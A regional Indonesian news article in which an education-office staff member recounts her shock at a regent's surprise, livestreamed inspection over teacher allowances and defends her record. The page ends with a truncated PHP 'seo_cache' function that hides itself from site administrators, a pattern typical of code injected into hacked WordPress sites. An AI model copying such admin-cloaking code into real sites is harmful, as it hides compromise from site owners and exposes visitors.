Pendidikan

Catherine Horo Mengaku Shock Saat Insiden Ribut-ribut di Kantor Dinas P dan K SBD

×

Catherine Horo Mengaku Shock Saat Insiden Ribut-ribut di Kantor Dinas P dan K SBD

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Staf Sekretariat Dinas P dan K Kabupaten SBD, Catherine Rambu Kapu Horo, SE mengaku shock saat insiden sidak bupati di kantor itu.

Hal ini disampaikannya dalam pernyataan kepada awak media di kediamannya, Kataparoro, Rabu (02/06/2025).

“Kejadian hari Selasa 1 Juli 2025 kemarin, jujur saya sendiri sebenarnya shock. Saya pribadi shock, karena saya tidak tahu sebelumnya ibu (bupati) akan datang,” tuturnya.

Pasalnya, terkait permasalahan itu sudah diselesaikan pada seminggu yang lalu.

Apalagi secara berjenjang, di dinas itu masih ada plt kepala dinas dan sekretaris dinas sebagai pimpinan.

“Waktu itu ibu (bupati) datang langsung menemui saya, dan saya bingung. Karena saya sebagai staf Ibu Bupati, saya diberi tanggung jawab untuk mengerjakan ini,” sambungnya.

Tapi di sisi lain, dirinya tidak dipercaya. Di sisi yang lain lagi ia dituntut untuk bekerja dengan maksimal.

Ia pun jadi bingung harus bagaimana memosisikan diri.

“Karena Ibu datang, saya tidak diberi ruang, tidak diberi kesempatan untuk menjelaskan,” paparnya.

Staf Sekretariat Dinas P dan K Kabupaten SBD yang akrab disapa Katy ini mengaku tidak paham ketika bupati datang dengan pemikiran bahwa pihaknya sudah dalam posisi salah.

“Saya menghindari percakapan itu berlanjut, karena menurut saya percakapan itu sudah tidak sehat, sudah tidak sesuai. Sehingga saya mundur maksudnya untuk menghentikan sudah pembicaraan ini,” beber Katy.

Apalagi kejadian itu ditayangkan secara live dimana penayangan secara live ini pun tanpa permisi karena dirinya masuk dalam video itu

Menurut dia, harusnya live itu ada izin ke pihaknya dan dijelaskan apa tujuan live karena akan disaksikan banyak orang.

Animo masyarakat dalam bentuk respon terhadap siaran live itu pun pasti beragam, dan ada respon atau komentar yang menurutnya sangat tidak pantas.

“Komentar-komentar yang tidak tahu duduk persoalan tapi bisa semena-mena menyudutkan nama baik saya Itu yang saya kecewa,” sesal Katy.

Ia menyayangkan tidak adanya pertimbangan secara psikis dimana dirinya sebagai staf dengan beban kerja banyak diserang seperti itu dan juga bukan pertama kalinya.

Sebelumnya permasalahan serupa dengan Lidia Soli Malo dan saat ini dengan Remigius Kana Laka yang memang tidak melaksanakan tugas dengan baik.

Dirinya mengaku tidak mengerti salahnya sebagai operator karena tidak pernah diberi kesempatan untuk menjelaskan.

“Tapi saya sudah divonis sebagai orang yang putar balik, sebagai orang yang tidak melaksanakan tugas Itu yang saya bingung,” timpalnya.

“Tunjangannya masuk di rekening guru-guru, kalau memang ada yang merasa tidak ada pasti sudah lama orang datang (atau) mungkin sudah melapor kita ke polisi kalau memang kita menyalahgunakan dan lain-lain,” jelasnya lebih lanjut.

Apalagi selama ini ada proses pemeriksaan baik dari inspektorat daerah, kunjungan Dirjen Kemendikbud, dan pemeriksaan BPK.

Ada juga rekon langsung dengan kementerian dua kali setahun, bahkan tiga kali langsung dengan Dirjen GTK, Kemenkeu, dan Puslapdik.

“Jadi pertanggungjawaban ini sebenarnya jelas dan informasi dari guru-guru ini kan saya tidak diberi ruang untuk menjelaskan,” imbuhnya.

“Ketika akan menyampaikan aturan Itu pun juga saya tidak diberi kesempatan Maksudnya seperti ini saya tidak mengerti kenapa saya dipersepsikan (bahwa) saya itu melawan atau saya tidak sopan,” katanya lagi

Sebagai staf ia berprinsip ketika loyal atau mendukung program atasan tidak harus selalu dengan mengiyakan saja meski itu keliru atau salah.

“Seperti itu saja tujuannya, tidak ada kepentingan apa pun Hanya wujud tanggung jawab saya untuk menjelaskan yang sebenarnya saja,” tandasnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>